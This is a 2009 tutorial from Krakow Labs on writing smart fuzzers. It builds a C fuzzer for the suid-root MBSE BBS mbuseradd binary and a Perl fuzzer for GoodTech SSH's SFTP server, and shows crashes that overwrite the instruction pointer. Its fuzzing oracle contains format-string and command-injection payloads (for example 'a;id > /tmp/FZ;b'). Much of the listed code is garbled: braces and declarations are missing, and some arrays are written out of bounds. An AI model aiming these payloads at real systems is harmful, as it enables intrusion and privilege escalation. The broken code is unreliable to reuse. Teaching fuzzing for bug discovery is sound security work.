Fuzzing for Fun and Profit









Krakow Labs Literature [www.krakowlabs.com]
Fuzzing for Fun and Profit
rush@KL (Jeremy Brown) [rush@krakowlabs.com]

                                                    Krakow Labs Literature
                                                 "Fuzzing for Fun and Profit"
                                         rush@KL (Jeremy Brown) [rush@krakowlabs.com]


1)   Introduction
1.1) Fuzzer Specifications

2)   Local Fuzzing
2.1) Information Gathering
2.2) Writing the Fuzzer (mbsefuzz.c)
2.3) Fuzzing the Target

3)   Remote Fuzzing
3.1) Information Gathering
3.2) Writing the Fuzzer (sftpfuzz.pl)
3.3) Fuzzing the Target

4)   Conclusion
4.1) Disclaimer


1) Introduction

Many different resources define fuzzing many different ways. I believe this definition is more suiting than most:

"Fuzzing is targeting input and delivering data that is handled by a target with the intent of identifying bugs."

Fuzzing can occur theoretically where ever input is possible.

There are two kinds of fuzzing: "dumb" and "smart". Dumb fuzzing is fuzzing without regard for any guidelines that may be
required for input. Smart fuzzing is just the opposite. While dumb fuzzers are easy to write and easy to use, smart fuzzers
are almost always preferred. Smart fuzzers actually know what how the handle the target's specifications for data. what input
it can fuzz, and how to fuzz it. When we refer to fuzzers in this literature, the reader should assume we are elaborating on
smart fuzzers.

Fuzzing can be done locally or remote. Some examples of local fuzzing is through command line, manipulating file formats, user
interface input, and more. Remote fuzzing is usually fuzzing protocols, servers, etc.

The data you use to fuzz with, called the fuzzing oracle, is essential to being successful at fuzzing. The fuzzing oracle
can be random data, or data that is not random at all but still provides reliable angles to fuzz which have proved successful
in triggering bugs in the past. This article focuses on the latter technique. Linux is also the host operating system that
our fuzzing examples will work on best and/or without modification.

The following table is information on what a fuzzing oracle should at least have to possibly trigger vulnerabilities.

Buffer Overflows
The ability to overflow buffers in the stack or heap; often exploitable to execute code unless data is uncontrollably corrupted.

EXAMPLE: sprintf(buf, "%s", input); [we control 'input']
Format Strings
The ability to control a function's format string; often exploitable to execute code unless writing data isn't possible, then
information disclosure may be achieved.

EXAMPLE: syslog(priority, input); [we control 'input']
Integer Overflows
The ability to overflow an integer; often non-exploitable unless integer can be overflowed to affect size calculation of a buffer
where we control input.

EXAMPLE: if(len > 512) { return -1; } memcpy(buf, input, len); [we control 'input' and 'len']
Out-of-Bounds Breakage
The ability to exploit unsafe functions; often exploitable to read, write, or execute files unless integrity checks are placed
in passing functions.

EXAMPLE: system(input); [we control 'input' and it is not sanitized]

Too much data, your fuzzer shows characteristics of a stress test. Not enough data and you may miss something. Finding that
balance shouldn't be a main goal, nor should it be completely defined: there is no line to cross in fuzzing. You either
fuzz, or you don't, and there is no standard, just structure; find your niche and develop beauty in code and command line.

Fuzzing includes a lot of testing. You could spend hours and hours modifying and compiling and running the same but slightly
different code over and over just to get the better results. Planning, preparation, and testing are a part of fuzzing, and
laboring hours on end for the humble task of perfection, stability, and reproduceability can thankfully be very rewarding.

Fuzzing is useful because...

1) Fuzzing can find bugs in firmware/software that aren't open source, therefore restricting classical auditing by the public.
2) Fuzzing can be a fast and reliable bug finding solution, making source code auditing look so hard and fuzzing seem easy.
3) Fuzzing can also be used as a stress tester and memory management problem detector. It is, as concepted, a bug finding art.


1.1 Fuzzer Specifications

Fuzzing is not usually done by hand, so people write fuzzers. There are three key elements each fuzzer should include:

1) A robust fuzzing oracle
2) A specific data format to prepare for fuzzing
3) A way of communicating with the target

Fuzzers should be semi-automatic or automatic as they fuzz and may provide features to create a quality atmosphere when
fuzzing. Some fuzzer include debuggers, event notification such as alerts and logging, and sometimes even automatic exploit
generation. Fuzzing features, in most situations, are only limited to the imagination.

A typical fuzzer could be outlined something like this (this example is in no particular programming or scripting language):


FUZZORACLE = "A" x 550, "A" x 1100, "A" x 2100, "%n%n%n%n%n", "-1", "32767", "test|id > /tmp/fuzzed|test";




loop(run-through-fuzz-data) { send(option[count], fuzzoracle[count], target); }



2. Local Fuzzing

Local fuzzing deals with fuzzing applications locally or hosted on the target system. This can include, but isn't limited to:

Command Line Fuzzing - Fuzzing applications via the command line and/or environmental variables
File Format Fuzzing - Fuzzing applications that read files in a specific format or format(s)
Kernel Fuzzing - Fuzzing core kernel features, kernel modules, and system calls

As said previously, if a target takes input, it can probably be fuzzed.


2.1 Information Gathering

As the first step in many technical projects, information gathering is vital. Knowing exactly what input your fuzzing and how
your target works is very important when writing a fuzzer. Information sources include RFCs, API specifications, other
technical documentation, sniffing, and reverse engineering.

For this example of local fuzzing, we will be exploring MBSE BBS (http://www.mbse.eu/mbse/mbsebbs/index.html) which had a
local buffer overflow in its suid "mbuseradd" program. Writing a fuzzer shouldn't be very hard for this application.

linux:/home/fuzz/mbsebbs-0.70.0/unix# make install
install -c -s -o root -g root -m 6711 mbuseradd /opt/mbse/bin
install -c -s -o root -g root -m 6711 mbpasswd  /opt/mbse/bin
install -c -s -o root -g root -m 0755 mblogin   /opt/mbse/bin
linux:/home/fuzz/mbsebbs-0.70.0/unix# exit

First, lets see exactly what we can fuzz.

fuzz@linux:~$ /opt/mbse/bin/mbuseradd

mbuseradd commandline:

mbuseradd [gid] [name] [comment] [usersdir]

Seems we have 4 different arguments we can fuzz. Now lets check out the source and look for any environmental variables
that it might take as input.

fuzz@linux:~$ grep getenv audit/mbse*/*/mbuseradd.c
    sprintf(shell, "%s/bin/mbsebbs", getenv("MBSE_ROOT"));

Alright, we can fuzz MBSE_ROOT too.


2.2 Writing the Fuzzer

Fuzzers can be written in probably any programming or scripting language but this example will be written in C.

When writing a fuzzer, keep in mind the principles we discussed earlier in section 1.1.


#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>

#define MBUSERADD  "/opt/mbse/bin/mbuseradd"
#define LOGFILE    "mbsefuzz.log"

#define FZORCTOTAL 20-1
#define ENVTOTAL   1-1

#define GID      "1"
#define NAME     "mbsefuzz"
#define COMMENT  "fuzzing"
#define USERSDIR "/tmp"

void fuzz(char *bin, char *desc, char *src, char *a, char *b, char *c, char *d);


     char *data;
     char *desc;


fzorc[] = // fuzzing oracle

     {"", "A x 550"},
     {"", "A x 1100"},
     {"", "A x 2100"},
     {"", "A x 4200"},
     {"", "A x 8400"},

     {"%n%n%n%n%n", "%n x 5"},
     {"%%20n", "%%20n"},
     {"%n%p%s%d%x", "%n%p%s%d%x"},
     {"%.1024d", "%.1024d"},
     {"%.2049d", "%.2049d"},

     {"-1", "-1"},
     {"32767", "32767"},
     {"65535", "65535"},
     {"-2147483647", "-2147483647"},
     {"0xffffffff", "0xffffffff"},

     {"a|id > /tmp/FZ|b", "a|id > /tmp/FZ|b"},
     {"a`id > /tmp/FZ`b", "a`id > /tmp/FZ`b"},
     {"a'id > /tmp/FZ'b", "a'id > /tmp/FZ'b"},
     {"a;id > /tmp/FZ;b", "a;id > /tmp/FZ;b"},
     {"a&&id > /tmp/FZ&&b", "a&&id > /tmp/FZ&&b"},



     char *data;


envvar[] = // options example, usually more than one in there



void fuzz(char *bin, char *desc, char *src, char *a, char *b, char *c, char *d)

FILE *fd;

if(fork() == 0)

     execl(bin, bin, a, b, c, d, 0);



int pid, signal, status;

     pid = wait(&status);


     signal = WTERMSIG(status);
     printf("***** SIG%d CAUGHT [%s + %s] *****\n", signal, src, desc);

     fd = fopen(LOGFILE, "a+");
     fprintf(fd, "[%s]->SIG%d [%s + %s]\n", bin, signal, src, desc);


int main()

char of1[550], of2[1100], of3[2100], of4[4200], of5[8400], *src, source[32];
int i;

     memset(of5, 'A', sizeof(of5));
     of5[8400] = 0;
     fzorc[4].data = of5;

     memset(of4, 'A', sizeof(of4));
     of4[4200] = 0;
     fzorc[3].data = of4;

     memset(of3, 'A', sizeof(of3));
     of3[2100] = 0;
     fzorc[2].data = of3;

     memset(of2, 'A', sizeof(of2));
     of2[1100] = 0;
     fzorc[1].data = of2;

     memset(of1, 'A', sizeof(of1));
     of1[550] = 0;
     fzorc[0].data = of1;

src = "CL:  GID";
for(i = 0; i <= FZORCTOTAL; i++) // loops

     fuzz(MBUSERADD, fzorc[i].desc, src, fzorc[i].data, NAME, COMMENT, USERSDIR);


src = "CL:  NAME";
for(i = 0; i <= FZORCTOTAL; i++)

     fuzz(MBUSERADD, fzorc[i].desc, src, GID, fzorc[i].data, COMMENT, USERSDIR);


src = "CL:  COMMENT";
for(i = 0; i <= FZORCTOTAL; i++)

     fuzz(MBUSERADD, fzorc[i].desc, src, GID, NAME, fzorc[i].data, USERSDIR);


src = "CL:  USERSDIR";
for(i = 0; i <= FZORCTOTAL; i++)

     fuzz(MBUSERADD, fzorc[i].desc, src, GID, NAME, COMMENT, fzorc[i].data);


src = "ENV: ";
for(i = 0; i <= ENVTOTAL; i++)

char *env = envvar[i].data;

     snprintf(source, sizeof(source), "%s%s", src, env);

for(i = 0; i <= FZORCTOTAL; i++)

     setenv(env, fzorc[i].data, 1);
     fuzz(MBUSERADD, fzorc[i].desc, source, GID, NAME, COMMENT, USERSDIR);


     return 0;



We now have a simple, local fuzzer with command line and environmental fuzzing capabilities, as well as fault detection.


2.3 Fuzzing the Target

Since we have written the fuzzer, we can compile and run it against our target.

Note: Some of the fuzz data is valid for mbse and may add some accounts to your system, clean out /etc/passwd after use.

fuzz@linux:~$ gcc -o mbsefuzz mbsefuzz.c

fuzz@linux:~$ ./mbsefuzz
mbuseradd: Argument 1 is too long
mbuseradd: Argument 1 is too long
mbuseradd: Argument 1 is too long
mbuseradd: Argument 1 is too long
mbuseradd: Argument 1 is too long
useradd: unknown group %n%n%n%n%n
useradd: unknown group %%20n
useradd: unknown group %n%p%s%d%x
useradd: unknown group %.1024d
useradd: unknown group %.2049d
useradd: unknown group -1
useradd: invalid shell `AAAAA...../bin/mbsebbs'
useradd: invalid shell `AAAAA...../bin/mbsebbs'
useradd: invalid shell `AAAAA...../bin/mbsebbs'
***** SIG11 CAUGHT [ENV: MBSE_ROOT + A x 4200] *****
***** SIG11 CAUGHT [ENV: MBSE_ROOT + A x 8400] *****
useradd: invalid shell `%n%n%n%n%n/bin/mbsebbs'
useradd: invalid shell `%%20n/bin/mbsebbs'
useradd: invalid shell `%n%p%s%d%x/bin/mbsebbs'
useradd: invalid shell `%.1024d/bin/mbsebbs'
useradd: invalid shell `%.2049d/bin/mbsebbs'
useradd: invalid shell `a'id > /tmp/FZ'b/bin/mbsebbs'
useradd: invalid shell `a;id > /tmp/FZ;b/bin/mbsebbs'
useradd: invalid shell `a&&id > /tmp/FZ&&b/bin/mbsebbs'

fuzz@linux:~$ cat mbsefuzz.log
[/opt/mbse/bin/mbuseradd]->SIG11 [ENV: MBSE_ROOT + A x 4200]
[/opt/mbse/bin/mbuseradd]->SIG11 [ENV: MBSE_ROOT + A x 8400]

Looks like we did catch a bug or two. Lets also quickly check /tmp for OBB.

fuzz@linux:~$ ls /tmp/FZ*
ls: /tmp/FZ*: No such file or directory

Nope, no out-of-bounds breakage here. Let us now further explore what we did find.

fuzz@linux:~$ cat mbsefuzz.log
[/opt/mbse/bin/mbuseradd]->SIG11 [ENV: MBSE_ROOT + A x 4200]
[/opt/mbse/bin/mbuseradd]->SIG11 [ENV: MBSE_ROOT + A x 8400] (same bug as previous)

fuzz@linux:~$ export MBSE_ROOT=`perl -e 'print "A" x 4200'`
fuzz@linux:~$ /opt/mbse/bin/mbuseradd        

mbuseradd commandline:

mbuseradd [gid] [name] [comment] [usersdir]
fuzz@linux:~$ /opt/mbse/bin/mbuseradd a b c d
Segmentation fault

fuzz@linux:~$ su
linux:/home/fuzz# gdb /opt/mbse/bin/mbuseradd
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) r a b c d
Starting program: /opt/mbse/bin/mbuseradd a b c d
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 11571)]
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 16384 (LWP 11571)]
0x41414141 in ?? ()
(gdb) i r
eax            0x0	0
ecx            0xbfffd994	-1073751660
edx            0x0	0
ebx            0x41414141	1094795585
esp            0xbfffe9d0	0xbfffe9d0
ebp            0x41414141	0x41414141
esi            0x41414141	1094795585
edi            0x41414141	1094795585
eip            0x41414141	0x41414141
eflags         0x10246	66118
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x0	0
(gdb) bt
#0  0x41414141 in ?? ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x64414141 in ?? ()
#5  0x6220622f in ?? ()
#6  0xbfffeb00 in ?? ()
#7  0x40016ed8 in _r_debug ()
#8  0xbfffeac4 in ?? ()
#9  0xbfffea24 in ?? ()
#10 0x400c630c in ?? () from /lib/libc.so.6
#11 0x40069270 in ?? ()
#12 0x40073f7e in __pthread_alt_unlock () from /lib/libpthread.so.0
Previous frame inner to this frame (corrupt stack?)
(gdb) q
The program is running.  Exit anyway? (y or n) y
linux:/home/fuzz# exit

The instruction pointer (EIP) is overwritten along with many other registers with our fuzzing data.



    shell   = calloc(PATH_MAX, sizeof(char));


    sprintf(shell, "%s/bin/mbsebbs", getenv("MBSE_ROOT"));


Conclusion: Our target is suid root and contains an exploitable stack-based buffer overflow.

Our fuzzer was able to detect it for us :)

GNU/Linux MBSE-BBS 0.70.0 & Below Stack Overflow Exploit


3. Remote Fuzzing

Remote fuzzing deals with fuzzing a target remotely or a the network. This can include, but isn't limited to:

Network Protocol Fuzzing - Fuzzing applications or even a kernel that implements a specific protocol
Database Fuzzing - Fuzzing database modules and/or database input sanitation policies
Web Application Fuzzing - Fuzzing input vectors of web applications hosted on a web server


3.1 Information Gathering

For this example of remote fuzzing, we will be exploring GoodTech SSH Server (http://www.goodtechsys.com/sshdnt2000.asp)
which was vulnerable to a remote buffer overflow vulnerability in its SFTP server part. We need to figure out the protocol
standards and get information on how to communicate with the SSH/SFTP server in order to fuzz it.

PERL extensions that can be installed through CPAN can be extremely helpful in writing an efficient fuzzer. There is actually
a PERL extension that will allow us to communicate through SSH2 with SFTP servers making fuzzing a breeze, it is called
Net::SSH2::SFTP (http://search.cpan.org/~dbrobins/Net-SSH2-0.18/lib/Net/SSH2/SFTP.pm). You will need to install libssh2
(http://www.libssh2.org/wiki/index.php/Main_Page) first in order for Net::SSH2 to install correctly. After that, you can
install Net::SSH2 by running "cpan" from your shell (as root, usually) and doing a "install Net::SSH2". After you have
installed the library and extension, we can use it for our perl-based SFTP fuzzer and it allows us to work with the SSH2
protocol fairly easily.

By looking at the documentation for Net::SSH2, it will allow us to fuzz the following parameters (for SFTP):

open     -> Open or create a file
opendir  -> Open a directory
unlink   -> Delete a file
rename   -> Rename a file or directory
mkdir    -> Create a directory
rmdir    -> Delete a directory
stat     -> Get file attributes
setstat  -> Set file attributes
symlink  -> Create a symbolic link
readlink -> Return the target of a link
realpath -> Resolve a file's path

These functions are called by each method provided, and we will fuzz their parameters (being our input), on the SFTP server.


3.2 Writing the Fuzzer

This example for SFTP fuzzing will be written in PERL and will be using libssh2/Net::SSH2 (this is not the only way to use
and fuzz SFTP, other libaries and extensions that may be more extensive and/or low-level are available).



use Net::SSH2;

@fzorc = ("A" x 550, "A" x 1100, "A" x 2100, "A" x 4200, "A" x 8400, # overflow
          "\%n\%n\%n\%n\%n", "\%\%20n", "\%n\%p\%s\%d\%x", "%.1024d", "%.2049d", # format string
          "-1", "32767", "65535", "-2147483647", "0xffffffff", # numbers
          "a|id > /tmp/FZ|b", "a`id > /tmp/FZ`b", "a'id > /tmp/FZ'b", # out-of-bounds breakage
          "a;id > /tmp/FZ;b", "a&&id > /tmp/FZ&&b");

@fzdesc = ("A x 550", "A x 1100", "A x 2100", "A x 4200", "A x 8400",
          "\%n\%n\%n\%n\%n", "\%\%20n", "\%n\%p\%s\%d\%x", "%.1024d", "%.2049d",
           "-1", "32767", "65535", "-2147483647", "0xffffffff",
           "a|id > /tmp/FZ|b", "a`id > /tmp/FZ`b", "a'id > /tmp/FZ'b",
           "a;id > /tmp/FZ;b", "a&&id > /tmp/FZ&&b");

@funcs1 = ("open", "opendir", "unlink", "mkdir", "rmdir", "stat", "setstat", "readlink", "realpath"); # 1 arg
@funcs2 = ("rename", "symlink"); # 2 args

$server  = "";
$user    = "sftp";
$pass    = "fuzz";
$logfile = "sftpfuzz.log";

$| = 1;

$ssh2 = Net::SSH2->new();

$i = 0;
for($z = 0; $z < 9; $z++)


$func = $funcs1[$z];
$arg  = 1;
$fuzz = $_;

     sftpfuzz($func, $fuzz, $arg, $i);

if($i == 19) { $i = -1; }


$i = 0;
for($z = 0; $z < 2; $z++)


$func = $funcs2[$z];
$arg  = 2;
$fuzz = $_;

     sftpfuzz($func, $fuzz, $arg, $i);

if($i == 19) { $i = -1; }


sub sftpfuzz

     $func = $_[0];
     $fuzz = $_[1];
     $arg  = $_[2];
     $i    = $_[3];

$desc = $fzdesc[$i];

$ssh2 = Net::SSH2->new();
$ssh2->connect($server) or logit($func, $i);

     print "sftpfuzz fuzzing [sftp + $func + $desc]\n";

if($ssh2->auth_password($user, $pass))

     $sftp = $ssh2->sftp();

if($arg == 1)

     $fuzr = $sftp->$func($fuzz);


if($arg == 2)

     $fuzr = $sftp->$func($fuzz, $fuzz);


else { die "ERROR: auth_password($user/$pass)\n"; }



sub logit

     $fuzz = $_[0];
     $i    = $_[1];

$desc = $fzdesc[$i-1];

     open(FD, ">>$logfile");
     print FD $server . " -> [sftp + $func + $desc]\n";

     die "$server down -> check $logfile\n";



Now we have a simple, remote SFTP fuzzer that can somewhat reliably tell us at least if we find any faults in the server.


3.3 Fuzzing the Target

Work time is over-- play time is upon us. Lets run the fuzzer against our target.

fuzz@linux:~$ perl sftpfuzz.pl
sftpfuzz fuzzing [sftp + open + A x 550] down -> check sftpfuzz.log

Looks like we've got something...

fuzz@linux:~$ cat sftpfuzz.log -> [sftp + open + A x 550]

The server went down right after we hit "open" with a 550 byte request. Lets now check out the target process on our machine.

EAX 00000001
ECX 41414141
EDX 00890608
EBX 00000000
ESP 01448968 ASCII "AAAAA....."
EBP 41414141
ESI 0000014F
EDI 0144E7E0
EIP 41414141

The instruction pointer (EIP) and other registers are overwritten with our fuzzing data.

Conclusion: Our target contains a remotely exploitable stack-based buffer overflow.

Source code auditing wasn't available here because our target seems to be closed source. Once again, our fuzzer was able
to detect the vulnerability for us :)

GoodTech SSH Remote Buffer Overflow Exploit


4. Conclusion

Fuzzing is a developing art. As we progress in computer security, fuzzing will grow stronger as well. Nonpublished code
will sit on the most remote boxes, possibly thanking fuzzing for leading the way in its R&D. One might guess millions
will be made from the marketing of fuzzing technologies. Many things will come from the vulnerabilities they discover.

Fuzzers are code-- code programmed by human beings. They can be as perfect and flawless as we are. The age of fuzzing has
made its debut some years ago, was silently studied, and reawoken to fuel vulnerability discovery like never before.

Enjoy the game, fuzz some code.


4.1 Disclaimer

Krakow Labs assumes no liability for the use or misuse of any or all information contained in this document or information
available at or referring to this document. Any or all information contained in this document or available at or referring to
this document is not misleading and all information provided by Krakow Labs in this document is accurate to the best knowledge
of Krakow Labs. This document can be published and/or reproduced as long as the document's data is left unchanged. Krakow Labs
may be accessed via krakowlabs.com for more information, personal reference, or other agendas supporting Krakow Labs.

Krakow Labs Literature [www.krakowlabs.com]
Fuzzing for Fun and Profit
rush@KL (Jeremy Brown) [rush@krakowlabs.com]

# milw0rm.com [2009-02-11]